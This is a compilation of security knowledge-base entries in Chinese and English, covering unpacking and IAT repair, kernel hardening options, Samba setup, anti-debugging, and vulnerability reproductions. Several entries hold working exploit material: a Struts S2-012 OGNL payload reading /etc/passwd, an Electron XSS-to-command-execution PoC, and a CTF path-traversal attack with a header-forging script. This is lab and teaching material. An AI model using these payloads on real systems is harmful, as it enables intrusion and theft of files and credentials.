# 手动查找 IAT 并使用 ImportREC 重建 示例程序可以从此链接下载: [manually_fix_iat.zip](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/unpack/example/manually_fix_iat.zip) 我们常用的`ImportREC`脱壳是使用的软件自带的`IAT auto search`, 但是如果我们要手动查找`IAT`的地址并`dump`出来, 又该怎么操作呢? 首先使用ESP定律, 可以很快地跳转到`OEP: 00401110`. 我们右键点击, 选择`查找->所有模块间的调用` 显示出调用的函数列表, 我们双击其中的某个函数(注意这里要双击的应该是程序的函数而不是系统函数) 我们来到了函数调用处 右键点击`跟随`, 进入函数 然后再右键点击`数据窗口中跟随->内存地址` 这里因为显示是十六进制值, 不方便查看, 我们可以在数据窗口点击右键选择`长型->地址`, 就可以显示函数名 注意我们要向上翻到IAT表的起始位置, 可以看到最开始的函数地址是`004050D8`的`kernel.AddAtomA`, 我们向下找到最后一个函数, 也就是`user32.MessageBoxA`函数, 计算一下整个IAT表的大小。在OD的最下方有显示`块大小:0x7C`, 所以我们整个IAT块大小就是`0x7C` 打开`ImportREC`, 选择我们正在调试的这个程序, 然后分别输入`OEP:1110, RVA:50D8, SIZE:7C`, 然后点击`获取输入表` 这里在输入表窗口中右键选择`高级命令->选择代码块`. 然后会弹出窗口, 选择完整转储, 保存为`dump.exe`文件 dump完成后, 选择`转储到文件`, 这里选择修复我们刚刚dump出的dump.exe, 得到一个`dump\_.exe`. 这时整个脱壳就完成了
sec-knowleage
# 信息泄漏 ## dmesg_restrict 考虑到内核日志中可能会有一些地址信息或者敏感信息,研究者提出需要对内核日志的访问进行限制。 该选项用于控制是否可以使用 `dmesg` 来查看内核日志。当 `dmesg_restrict` 为 0 时,没有任何限制;当该选项为 1 时,只有具有 `CAP_SYSLOG` 权限的用户才可以通过 `dmesg` 命令来查看内核日志。 ``` dmesg_restrict: This toggle indicates whether unprivileged users are prevented from using dmesg(8) to view messages from the kernel's log buffer. When dmesg_restrict is set to (0) there are no restrictions. When dmesg_restrict is set set to (1), users must have CAP_SYSLOG to use dmesg(8). The kernel config option CONFIG_SECURITY_DMESG_RESTRICT sets the default value of dmesg_restrict. ``` ## kptr_restrict 该选项用于控制在输出内核地址时施加的限制,主要限制以下接口 - 通过 /proc 获取的内核地址 - 通过其它接口(有待研究)获取的地址 具体输出的内容与该选项配置的值有关 - 0:默认情况下,没有任何限制。 - 1:使用 `%pK` 输出的内核指针地址将被替换为 0,除非用户具有 CAP_ SYSLOG 特权,并且 group id 和真正的 id 相等。 - 2:使用 `%pK` 输出的内核指针都将被替换为 0 ,即与权限无关。 ``` kptr_restrict: This toggle indicates whether restrictions are placed on exposing kernel addresses via /proc and other interfaces. When kptr_restrict is set to 0 (the default) the address is hashed before printing. (This is the equivalent to %p.) When kptr_restrict is set to (1), kernel pointers printed using the %pK format specifier will be replaced with 0's unless the user has CAP_SYSLOG and effective user and group ids are equal to the real ids. This is because %pK checks are done at read() time rather than open() time, so if permissions are elevated between the open() and the read() (e.g via a setuid binary) then %pK will not leak kernel pointers to unprivileged users. Note, this is a temporary solution only. The correct long-term solution is to do the permission checks at open() time. Consider removing world read permissions from files that use %pK, and using dmesg_restrict to protect against uses of %pK in dmesg(8) if leaking kernel pointer values to unprivileged users is a concern. When kptr_restrict is set to (2), kernel pointers printed using %pK will be replaced with 0's regardless of privileges. ``` 当开启该保护后,攻击者就不能通过 `/proc/kallsyms` 来获取内核中某些敏感的地址了,如 commit_creds、prepare_kernel_cred。 ## 参考 - https://blog.csdn.net/gatieme/article/details/78311841
sec-knowleage
# 开源工具分析 此篇记录一些我在网络上发现的各种开源安全工具,学习其思路和设计。 ## 反钓鱼 ### Jeopardize:一款针对钓鱼域名的低功耗威胁情报&响应工具 参考:https://www.freebuf.com/sectool/231977.html 项目地址:https://github.com/utkusen/jeopardize #### 功能 - 生成域名组合:根据正常域名,从排版和同音字等因素,组合生成可能存在的钓鱼域名列表 - 探测已注册的域名:使用两种方式(whois查询、调用Zonefiles.io API查询)来查询已经被注册的钓鱼域名 - 分析域名: ## 沙盒相关 ### DangerZone:使用Docker容器隔离危险的文档阅读器 项目地址:https://github.com/firstlookmedia/dangerzone #### 功能 - 文档危险隔离 - 可以生成具有文档搜索的安全PDF(使用OCR技术) #### 实现思路 - 主要具备文档沙箱化和OCR识别 - 使用两个Docker容器 - 在挂载文件时,容器断开网络链接,从而隔绝一部分RCE - 第一个容器主要进行文件加载和RGB像素数据存储 - 第二个容器主要进行OCR识别,并且最终转换为安全的PDF文档 #### 思考 - 如何保证Docker本身的安全性不被打破 - 如果主机不具备Docker环境,则该软件安装时会捆绑安装,这里感觉不是很好
sec-knowleage
--- title: 添加白名单 --- ## 在阿里云上为 RDS 添加白名单 使用以下命令为数据库添加白名单,`-w` 参数指定 CIDR 地址或者单个 IP 地址。 ```bash cf alibaba rds whiteList -w <ip> ``` ### 查看添加过的 RDS 白名单信息 加上 ls 列出之前添加过的白名单信息。 ```bash cf alibaba rds whiteList ls ``` ### 删除之前添加过的白名单信息 加上 del 删除之前添加过的白名单信息。 ```bash cf alibaba rds whiteList del ``` <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2023 年 7 月 1 日" } } </script>
sec-knowleage
# samba 配置案例 --- ## 案例 1 - 配置 smb 服务,共享目录为 `/smbshare` , - 共享名必须为 smbshare, - 只有本网段内的所有主机可以访问, - smbshare 必须是可以浏览的, - 用户 smb1 必须能够读取共享中的内容(用户名需要自己创建,密码为 smb123456); ``` yum -y install samba ``` ```vim vim /etc/samba/smb.conf [smbshare] path = /smbshare public = yes writeable=yes hosts allow = 192.168.xx. hosts deny = all ``` 验证配置文件有没有错误 `testparm` 添加用户,设置密码 ```bash useradd smb1 smbpasswd -a smb1(密码:smb123456) ``` 将用户添加到 samba 服务器中,并设置密码 ```bash pdbedit -a smb1(密码:smb123456) ``` 查看 samba 数据库用户 ```bash pdbedit -L ``` 创建共享目录,设置所有者和所属组 ```bash mkdir /smbshare chown smb1:smb1 /smbshare ``` 关闭 selinux(需要重启) ```vim vim /etc/selinux/config SELINUX=disabled ``` ```bash firewall-cmd --zone=public --add-service=samba --permanent firewall-cmd --reload systemctl restart smb ``` --- ## 案例 2 **服务端** - 修改工作组为 WORKGROUP - 注释 [homes] 和 [printers] 相关的所有内容 - 共享名为 webdata - webdata 可以浏览且 webdata 可写 - 共享目录为 `/data/web_data` ,且 apache 用户对该目录有读写执行权限,用 setfacl 命令配置目录权限. - 只有 192.168.1XX.33 的主机可以访问. - 添加一个 apache 用户(密码自定义)对外提供 Samba 服务. ```bash yum -y install samba ``` ```vim vim /etc/samba/smb.conf [global] workgroup = WORKGROUP [webdata] path = /data/web_data public = yes writable=yes hosts allow = 192.168.1xx.33/32 hosts deny = all ``` ```bash testparm useradd -s /sbin/nologin apache smbpasswd -a apache(密码:smb123456) pdbedit -a apache(密码:smb123456) pdbedit -L mkdir /data/web_data cd /data/web_data/ setfacl -m u:apache:rwx . getfacl /deta/web_data/ ``` ```bash setenforce 0 firewall-cmd --zone=public --add-service=samba --permanent firewall-cmd --reload systemctl start smb ``` **客户端** - 配置 smb,使用 apache 用户挂载 serverA 共享的目录至 /data/web_data 目录下,作为 http 服务网站根目录使用. ```bash yum -y install samba mkdir /data/web_data mount -t cifs -o username=apache,password='123' //192.168.xx+1.xx/webdata /data/web_data ``` --- ## 案例 3 **服务端** - 修改工作组为 WORKGROUP; - 注释 [homes] 和 [printers] 的内容; - 共享目录为 `/data/web_data` ; - 共享名必须为 webdata; - 只有 192.168.XX+1.0/24 网段内的所有主机可以访问; - webdata 必须是可以浏览的; - webdata 必须是可写的; - 创建文件的权限为 0770; - 仅允许用户 apache 访问且 apache 是该共享的管理者(用户名需要自己创建,密码为 123). ```bash yum -y install samba ``` ```vim vim /etc/samba/smb.conf [global] workgroup = WORKGROUP [webdata] path = /data/web_data public = yes writable=yes hosts allow = 192.168.xx+1. hosts deny = all create mask = 0770 ``` ```bash testparm useradd apache smbpasswd -a apache(密码:123) pdbedit -a apache(密码:123) pdbedit -L mkdir /data/web_data cd /data/web_data/ ``` ```bash setenforce 0 firewall-cmd --zone=public --add-service=samba --permanent firewall-cmd --reload systemctl start smb ``` **客户端** - 配置 smb,使用 apache 用户挂载主机A共享的目录至 `/data/web_data` 目录下. ```bash yum -y install samba mkdir /data/web_data mount -t cifs -o username=apache,password='123' //192.168.xx+1.xx/webdata /data/web_data ```
sec-knowleage
<?php include 'common.php'; if(isset($_POST['submit']) && isset($_FILES['image'])) { $fn = $_FILES['image']['tmp_name']; if(!is_uploaded_file($fn)) { fatal('uploaded file corrupted'); } $iminfo = getimagesize($fn); if(!$iminfo) { fatal('input was not an image'); } if($iminfo[0] > MAX_IM_SIZE || $iminfo[1] > MAX_IM_SIZE) { fatal('image too big'); } $im = imagecreatefromstring(file_get_contents($fn)); if(!$im) { fatal('could not load your image'); } imagetruecolortopalette($im, false, 256); imagesavealpha($im, false); $imagekey = create_image_key(); save_image($im, $imagekey); imagedestroy($im); header("Location: ?op=edit&imagekey=$imagekey"); } else { ?> <div class="article"> <h2>Upload your own pixel art</h2> <form enctype="multipart/form-data" action="?op=upload" method="POST"> <label for="image">Image file (max <?=MAX_IM_SIZE;?>x<?=MAX_IM_SIZE;?>): </label> <input type="file" id="image" name="image" /> <br /> <input type="submit" name="submit" value="Upload!" /> </form> </div><?php } ?>
sec-knowleage
# S2-012 远程代码执行漏洞 影响版本: 2.1.0 - 2.3.13 漏洞详情: http://struts.apache.org/docs/s2-012.html ## 测试环境搭建 ``` docker compose build docker compose up -d ``` ## 原理 如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如: ```xml <package name="S2-012" extends="struts-default"> <action name="user" class="com.demo.action.UserAction"> <result name="redirect" type="redirect">/index.jsp?name=${name}</result> <result name="input">/index.jsp</result> <result name="success">/index.jsp</result> </action> </package> ``` 这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。 ## Exp 可以直接祭出s2-001中的回显POC,因为这里是没有沙盒,也没有限制任何特殊字符(为什么?)。 ``` %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} ``` 发送请求,执行命令: ![](1.png)
sec-knowleage
# Challenge 1 Let's inspect the contents of the IP we got in the intro level: ```console root@kali:/media/sf_CTFs/hoshen/1# curl 129.213.32.20 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>Hoshen Challenge</title> <style type="text/css"> <!-- body { color:#000000; background-color:#0072C6; margin:0; } #container { margin-left:auto; margin-right:auto; text-align:center; } a img { border:none; } --> </style> </head> <body> <div id="container"> <img src="Sukkah.jpg" alt="IIS" width="960" height="600" /></a> </div> </body> </html> ``` We have a webpage with a single image: `Sukkah.jpg`. Let's download and inspect it: ```console root@kali:/media/sf_CTFs/hoshen/1# wget -q http://129.213.32.20/Sukkah.jpg root@kali:/media/sf_CTFs/hoshen/1# file Sukkah.jpg Sukkah.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v90), quality = 80", baseline, precision 8, 1247x876, frames 3 ``` Indeed, this is a JPEG image. But anything else hidden in there? ```console root@kali:/media/sf_CTFs/hoshen/1# binwalk Sukkah.jpg DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1.01 194152 0x2F668 RAR archive data, version 5.x ``` A RAR file! Let's extract it from the JPEG file: ```console root@kali:/media/sf_CTFs/hoshen/1# binwalk -e Sukkah.jpg DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1.01 194152 0x2F668 RAR archive data, version 5.x root@kali:/media/sf_CTFs/hoshen/1# file _Sukkah.jpg.extracted/2F668.rar _Sukkah.jpg.extracted/2F668.rar: RAR archive data, v5 ```
sec-knowleage
# Electron WebPreferences Remote Code Execution Vulnerability(CVE-2018-15685) [中文版本(Chinese version)](README.zh-cn.md) Electron is an open source library developed by GitHub for building cross-platform desktop applications with HTML, CSS, and JavaScript. Electron accomplishes this by combining Chromium and Node.js into a single runtime and apps can be packaged for Mac, Windows, and Linux. When Electron sets `nodeIntegration=false` (default), the JavaScript in the page cannot access the built-in library of node.js. CVE-2018-15685 bypass this limitation, enabling arbitrary commands to be executed if the user can execute JavaScript (such as when accessing a third-party page or an XSS vulnerability exists in the app). Reference links: - https://electronjs.org/blog/web-preferences-fix - https://www.contrastsecurity.com/security-influencers/cve-2018-15685 ## Compile application Execute the following command to compile an vulnerability application: ``` docker compose run -e PLATFORM=win64 --rm electron ``` The value of `PLATFORM` is the operating system on which the application is running. The options are:`win64`、`win32`、`mac`、`linux`。 After the compilation completed, execute the following command to run the web service: ``` docker compose run --rm -p 8080:80 web ``` Now,access`http://your-ip:8080/cve-2018-15685.tar.gz`to download application. ## expliot Open the app: ![](1.png) Click submit, the content in the input box will be displayed in the app, and there is obviously an XSS vulnerability. We submit `<img src=1 onerror="require('child_process').exec('calc.exe')">` and find that nothing happens, because `nodeIntegration=false`. At this time, submit the POC (Windows): ``` <img src=1 onerror="window.open().open('data:text/html,<script>require(\'child_process\').exec(\'calc.exe\')</script>');"> ``` As you see, calc.exe shows up. ![](2.png)
sec-knowleage
### DUMP 及 IAT 重建原理 在找到程序OEP后, 我们需要将程序dump出来, 并重建`IAT`. `IAT`全名是`Import Address Table`, 表项指向函数实际地址. ### DUMP 及 IAT 重建示例 比如如下, 我们找到了OEP, 到达了程序的真正入口点. 我们这时就需要将程序dump出来. 我们右键, 选择`"用OllyDump脱壳调试进程"`(不过你也可以使用`LoadPE`来dump出来): 弹出一个窗口, 看一下地址是否正确, 主要就是看看`入口点地址`有没有选对. 然后取消勾选`重建输入表`. 将dump出的文件命名, 我这里是命名为`dump.exe`啦. 我们尝试来运行一下`dump.exe`, 可以发现程序无法正常运行, 对于一些简单的壳, 你dump出来发现无法正常运行, 如果你确实找到了正确的OEP并用`IDA`反编译查看结果良好, 那么你的第一想法就应该是程序的`IAT`出现了问题. 你就需要重建`IAT`. 我们需要使用`ImportREC`来帮助修复输入表. 打开`ImportREC`, 选择一个正在运行的进程`原版.exe`(`原版.exe`是我在OD中正在调试的进程, OD中的`EIP`正处在`OEP`位置, 在用`Ollydump`之后不要关闭这个进程哦.). `ImportREC`修复输入表入口点需要知道`OEP`, 也就是要在窗口右侧中间的`OEP`输入框中进行输入 我们所知, 在Ollydbg里我们知道程序目前在的入口点是`0049C25C`, 而镜像基址是`00400000` 因此我们这里需要填写`OEP`是`0009C25C` 我们修改`ImportREC`中的`OEP`为`0009C25C`然后点击`AutoSearch`后, 弹出提示框"发现可能是原IAT地址" 我们点击`"Get Imports"`按钮便可以重建`IAT`. 左侧会显示`IAT`中各导入函数的地址以及是否有效. 显然在图中可以看到`ImportREC`找到了内存中`IAT`的位置并检测出各个函数都是有效的. 我们点击`Fix Dump`, 然后打开先前使用`OllyDump`插件转储出来的文件,也就是`dump.exe`文件。 那么`ImportREC`就会帮助恢复导入表,并生成`dump_.exe`文件. `dump_.exe`可以正常运行
sec-knowleage
sendmail === 著名电子邮件服务器 ## 补充说明 **sendmail命令** 是一款著名的电子邮件传送代理程序,也就是平常说的电子邮件服务器,它基于标准的简单邮件传输协议(SMTP)。 ### 语法 ```shell sendmail(选项) ``` ### 选项 ```shell -bd:以守护进程方式运行指令; -bD:以前台运行方式运行; -bi:初始化别名数据库; -bm:以常规发送电子邮件; -bp:显示邮件的发送队列; -C:指定配置文件; -D:将调试的输出信息保存到日志文件,而不显示在标准输出设备上; -F:指定邮件发送者全名; -n:禁止使用邮件别名功能; -f:指定发件人的名字; -q:设置处理邮件队列中邮件的时间间隔。 ```
sec-knowleage
# Protected area 1 (Web, 119p, 41 solved) In the challenge we get access to a webpage. In the source we can find a JS which uses some of the rest endpoints: ```js var file_check = function(file){ $.ajax({ url: '/check_perm/readable/', data: {'file': file} }).done(function(data){ if (data == "True") { file_read(file) }else{ console.log('fail') } }) } var file_read = function(file){ $.ajax({ url: '/read_file/', data: {'file': file} }).done(function(data){ update_page(data) }) return } var update_page = function(text){ $("#t").append(text) } $(document).ready(function() { console.log("ready!"); file_check('public.txt'); }); ``` This means there are 2 endpoints: 1. Checking permissions for the files. 2. Reading files. If we poke around a bit, we can notice that there is a path traversal bug there. To be fair, this was much easier to spot with the part 2 of this problem, since part 2 was actually showing errors, including the file path it "calculated" based on our inputs. It seems the page is simply removing `../` but doesn't do this recursively, so we can inject `....//` and when it removes `../` we're left with `../`. From this we can do for example: `http://66.172.33.148:8008/read_file/?file=....//files/public.txt` and it reads the file just fine. We are restricted, however, to `.txt` files. After some poking around we accidentally noticed that in fact the `.txt` filter somehow looks at the whole query, and not at the `file` variable! We can verify this with: `66.172.33.148:8008/read_file/?file=....//....//....//etc/passwd&fakevar=public.txt` Now we just need to leak the source code, starting with standard `app.py.` -> `66.172.33.148:8008/read_file/?file=....//....//....//etc/passwd&fakevar=public.txt` Once we leak most of the source code we find `api.py` with: ```python @app.route('/protected_area_0098', methods=['GET']) @check_login def app_protected_area() -> str: return Config.FLAG ``` And `functions.py` with login logic: ```python def check_login(f): """ Wraps routing functions that require a user to be logged in """ @wraps(f) def wrapper(*args, **kwds): try: ah = request.headers.get('ah') if ah == hashlib.md5((Config.ADMIN_PASS + Config.SECRET).encode("utf-8")).hexdigest(): return f(*args, **kwds) else: return abort(403) except: return abort(403) return wrapper ``` And also `config.py` with: ```python FLAG = os.environ.get('FLAG') SECRET = "s3cr3t" ADMIN_PASS = "b5ec168843f71c6f6c30808c78b9f55d" ``` Now we can simply calculate the admin password and log-in to get the flag: ```python import hashlib import requests def main(): SECRET = "s3cr3t" ADMIN_PASS = "b5ec168843f71c6f6c30808c78b9f55d" p = hashlib.md5(ADMIN_PASS + SECRET).hexdigest() url = 'http://66.172.33.148:8008/protected_area_0098' r = requests.get(url, headers={"ah": p}) print(r.text) main() ``` `ASIS{f70a0203d638a0c90a490ad46a94e394}`
sec-knowleage
### 关于CheckRemoteDebuggerPresent概述 `kernel32`的`CheckRemoteDebuggerPresent()`函数用于检测指定进程是否正在被调试. `Remote`在单词里是指同一个机器中的不同进程. ``` c BOOL WINAPI CheckRemoteDebuggerPresent( _In_ HANDLE hProcess, _Inout_ PBOOL pbDebuggerPresent ); ``` 如果调试器存在(通常是检测自己是否正在被调试), 该函数会将`pbDebuggerPresent`指向的值设为`0xffffffff`. ### CheckRemoteDebuggerPresent检测代码 可以用以下32位代码检测32位环境 ``` asm push eax push esp push -1 ;GetCurrentProcess() call CheckRemoteDebuggerPresent pop eax test eax, eax jne being_debugged ``` 或64位代码检测64位环境 ``` asm enter 20h, 0 mov edx, ebp or rcx, -1 ;GetCurrentProcess() call CheckRemoteDebuggerPresent leave test ebp, ebp jne being_debugged ``` ### CheckRemoteDebuggerPresent如何绕过 比如有如下的代码 ``` c++ int main(int argc, char *argv[]) { BOOL isDebuggerPresent = FALSE; if (CheckRemoteDebuggerPresent(GetCurrentProcess(), &isDebuggerPresent )) { if (isDebuggerPresent ) { std::cout << "Stop debugging program!" << std::endl; exit(-1); } } return 0; } ``` 我们可以直接修改`isDebuggerPresent`的值或修改跳转条件来绕过(注意不是`CheckRemoteDebuggerPresent`的izhi, 它的返回值是用于表示函数是否正确执行). 但如果要针对`CheckRemoteDebuggerPresent`这个api函数进行修改的话. 首先要知道`CheckRemoteDebuggerPresent`内部其实是通过调用`NtQueryInformationProcess`来完成功能的. 而我们就需要对`NtQueryInformationProcess`的返回值进行修改. 我们将在[ NtQueryInformationProcess 篇](./ntqueryinformationprocess.md)进行介绍.
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH MD5SUM 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 md5sum \- 计算并校验 MD5 信息摘要 .SH 概述 \fBmd5sum\fP [\fI\,选项\/\fP]... [\fI\,文件列表\/\fP]... .SH 描述 .\" Add any additional description here .PP 输出或检查 MD5 (128位) 校验和。 .PP 如果没有指定文件,或者指定文件为“\-”,则从标准输入读取。 .TP \fB\-b\fP, \fB\-\-binary\fP 以二进制模式读入 .TP \fB\-c\fP, \fB\-\-check\fP 从指定文件中校验和信息并对它们进行检查 .TP \fB\-\-tag\fP 创建一个 BSD 风格的校验和 .TP \fB\-t\fP, \fB\-\-text\fP 以文本模式读入(默认) .TP \fB\-z\fP, \fB\-\-zero\fP 以 NUL 字符而非换行符来结束每一个输出行 .SS 下面五个选项仅在验证校验和时有用: .TP \fB\-\-ignore\-missing\fP 遇到缺失的文件时不报告错误,保持静默 .TP \fB\-\-quiet\fP 不要为每个成功验证的文件显示成功信息 .TP \fB\-\-status\fP 不要输出任何信息,由返回值判断成功与否 .TP \fB\-\-strict\fP 为没有正确格式化的校验和文字行给出非零返回值 .TP \fB\-w\fP, \fB\-\-warn\fP 为没有正确格式化的校验和文字行给出警告信息 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .PP 校验和按照 RFC 1321 描述的方式进行计算。在校验过程中,其输入内容应当为该程序先前的输出内容。默认模式是输出一行文字,包含:校验和、一个空格、一个指示输入模式的字符('*' 表示二进制输入,空格表示字符输入)以及每个文件的名称。 .PP 注意:GNU 系统上二进制模式和文本模式没有区别。 .SH 缺陷 不要为与安全相关的目的使用 MD5 算法。作为替代,请使用一个 SHA\-2 算法,它们分别在 \fBsha224sum\fP(1)、\fBsha256sum\fP(1)、\fBsha384sum\fP(1)、\fBsha512sum\fP(1) 这些程序中实现;或者请使用 BLAKE2 算法,它在 \fBb2sum\fP(1) 程序中实现 .SH 作者 由 Ulrich Drepper, Scott Miller 和 David Madore 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br 本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。 .SH 参见 \fBcksum\fP(1) .PP .br 完整文档请见: <https://www.gnu.org/software/coreutils/md5sum> .br 或者在本地使用: info \(aq(coreutils) md5sum invocation\(aq
sec-knowleage
# GhostScript 沙箱绕过(命令执行)漏洞(CVE-2018-16509) 8 月 21 号,Tavis Ormandy 通过公开邮件列表,再次指出 GhostScript 的安全沙箱可以被绕过,通过构造恶意的图片内容,将可以造成命令执行、文件读取、文件删除等漏洞: - http://seclists.org/oss-sec/2018/q3/142 - https://bugs.chromium.org/p/project-zero/issues/detail?id=1640 GhostScript 被许多图片处理库所使用,如 ImageMagick、Python PIL 等,默认情况下这些库会根据图片的内容将其分发给不同的处理方法,其中就包括 GhostScript。 ## 漏洞环境 执行如下命令启动漏洞环境(其中包括最新版 GhostScript 9.23、ImageMagick 7.0.8): ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:8080`将可以看到一个上传组件。 ## 漏洞复现 上传[poc.png](poc.png),将执行命令`id > /tmp/success && cat /tmp/success`。此时进入容器`docker compose exec web bash`,将可以看到/tmp/success已被创建: ![](1.png) 你也可以使用命令行测试该漏洞: ``` docker run -it --rm --name im -v `pwd`/poc.png:/poc.png vulhub/imagemagick:7.0.8-10 convert /poc.png /poc.gif ``` ![](2.png) 可见,id命令已被成功运行。
sec-knowleage
.TH Dialog 3tk "tcllib - BWidget" .SH NAME .B Dialog - 有定制按钮的对话框 .SH 创建 CREATION .B Dialog pathName ?option value...? .SH 描述 DESCRIPTION Dialog 组件使用户能建立一个对话框。一些命令接受一个 index 参数来指示在哪个 Button 上工作。这个索引与 ButtonBox 命令由相同的规定: number 用数值来指定 Button,这里的 0 对应于第一个增加的 Button,1 对应下一个,以此类推。 endor 或 last 指示最后添加的项目。 default 指示缺省 Button。 .SH 组件特有选项 WIDGET-SPECIFIC OPTIONS .TP -anchor (read-only) 指定 ButtonBox 的定位点(anchor point)。必须是 w、e、n、s、c 之一。如果 side选项被设置为 top或 bottom,anchor值 n、s和 c有相同的效果。如果 side选项被设置为 left或 right,anchor值 w、e和 c有相同的效果。 .TP -bitmap (read-only) 指定在用户框架的左面显示的一个位图。image选项屏弃 bitmap。 .TP -cancel 指定这个 Dialog 的取消按钮的编号。当用户在 Dialog 中按下 Esc 的时候,调用这个按钮。 .TP -default 指定这个 Dialog 的缺省按钮的编号。当用户在 Dialog 中按下 Return 的时候,调用这个按钮。 .TP -image (read-only) 指定在用户框架的左面显示一个图像。image选项屏弃 bitmap。 .TP -modal 这个选项必须是 none, local或 global。这个选项的值指定对话框的 grab 模式和如何完成 Dialog::draw。 .TP -parent 这个 Dialog 的父窗口。Dialog 在它的父窗口中居中。如果为空。则在根窗口中居中。 .TP -separator (read-only) 指定在用户框架和 ButtonBox 之间是否绘制一个分隔线。 .TP -side (read-only) 指定在相对于用户框架的何处绘制 ButtonBox。必须是 top、left、bottom或 right 之一。 .TP -titleDialog 顶层窗口的标题. .SH 组件命令 .TP pathName add?arg...? 向这个对话框的按钮框增加一个按钮。缺省的 -command 选项是 Dialog::enddialog $path index,这里的 index是增加的按钮的编号。 .TP pathName cget option 返回用 option 给出的配置选项的当前值。Option可以是能被建立命令接受的任何值。 .TP pathName configure?option? ?valueoptionvalue...? 查询或修改这个组件的配置选项。如果未指定 option,则返回描述 pathName的所有可获得的选项的一个列表。如果指定了不带 value的 option,则这个命令返回描述这个指名的 option的一个列表(这个列表与未指定 option所返回的值的相应的子集是一样的)。如果指定了一个或多个选项-值对,则这个命令把给定的组件选项修改为给定的值;在这种情况下这个命令返回一个空串。Option可以是能被建立命令接受的任何值。只读选项不可修改。 .TP pathName draw?focus? 这个命令绘制 Dialog,并把 grab 设置为依从 modal选项。如果 modal选项设置成 none,则这个命令立即返回一个空串。在所有其他情况下,在调用 Dialog::enddialog或销毁 Dialog 的时候这个命令返回。返回值是 Dialog::enddialog的 result参数,如果是被销毁的则返回 -1。 缺省的把焦点设置到用 default 选项引用的缺省按钮上,如果没有设置缺省按钮则在 Dialog 的顶层窗口上。如果 focus 存在,则它必须是一个路径名,或者是到一个按钮的索引。最初的焦点被设置到这个路径或对应的按钮上。 .TP pathName enddialog result 典型的在按钮的命令内调用这个命令来使 Dialog::draw 返回。 .TP pathName getframe 返回这个用户窗口的路径名。 .TP pathName invoke index 调用由 index 给出的按钮。 .TP pathName itemcget index option 返回这个项目的一个配置选项的当前值。Option 可以是这个项目的建立命令能接受的任何值。 .TP pathName itemconfigure index ?option? ?value option value ...? 这个命令类似于 configure 命令,但是它为单独的项目提供选项,而 configure 为作为整体的组件提供选项。Options 可以是项目建立组件命令可接受的任何值。如果指定了选项,则依据命令的指示修改选项并且命令返回一个空串。如果未指定选项,则返回描述这个项目的当前选项的一个列表。只读选项不能修改。 .TP pathName setfocus index 把焦点设置到用 index 给出的按钮。 .TP pathName withdraw 调用这个命令来隐藏这个对话框。 .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/07/13 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
from [sub-domain-enum-checklist.md](https://gist.github.com/yamakira/2a36d3ae077558ac446e4a89143c69ab) ## Search engines - [Google](https://google.com) - **site:** operator - [Bing](https://bing.com) - **site:** operator ## DNS info aggregators - [VirusTotal](https://www.virustotal.com/) - [ViewDNS](https://viewdns.info) - [DNSdumpster](https://dnsdumpster.com/) - [Threatcrowd](https://www.threatcrowd.org/) ## Certificate Transparency logs - https://crt.sh/ - https://censys.io/ - https://developers.facebook.com/tools/ct/ - https://google.com/transparencyreport/https/ct/ ## Tools - [Sublister](https://github.com/aboul3la/Sublist3r) - [Altdns](https://github.com/infosec-au/altdns) - [massdns](https://github.com/blechschmidt/massdns) - [enumall](https://github.com/jhaddix/domain) - [DNSRecon](https://github.com/darkoperator/dnsrecon) - [Domain analyzer](https://github.com/eldraco/domain_analyzer) - [XRay](https://github.com/evilsocket/xray) - [Aquatone](https://github.com/michenriksen/aquatone) - [ldns-walk](https://www.nlnetlabs.nl/projects/ldns/) - [NSEC3 walker](https://dnscurve.org/nsec3walker.html) ## Data sources - [Project Sonar](https://sonar.labs.rapid7.com/) - [Certificate Transparency logs](https://www.certificate-transparency.org/known-logs) - [domains-index.com](domains-index.com) - Registered Domain Names/ DNS Records aggregator - [domainsdb.info](domainsdb.info) - Registered Domain Names Search API.
sec-knowleage
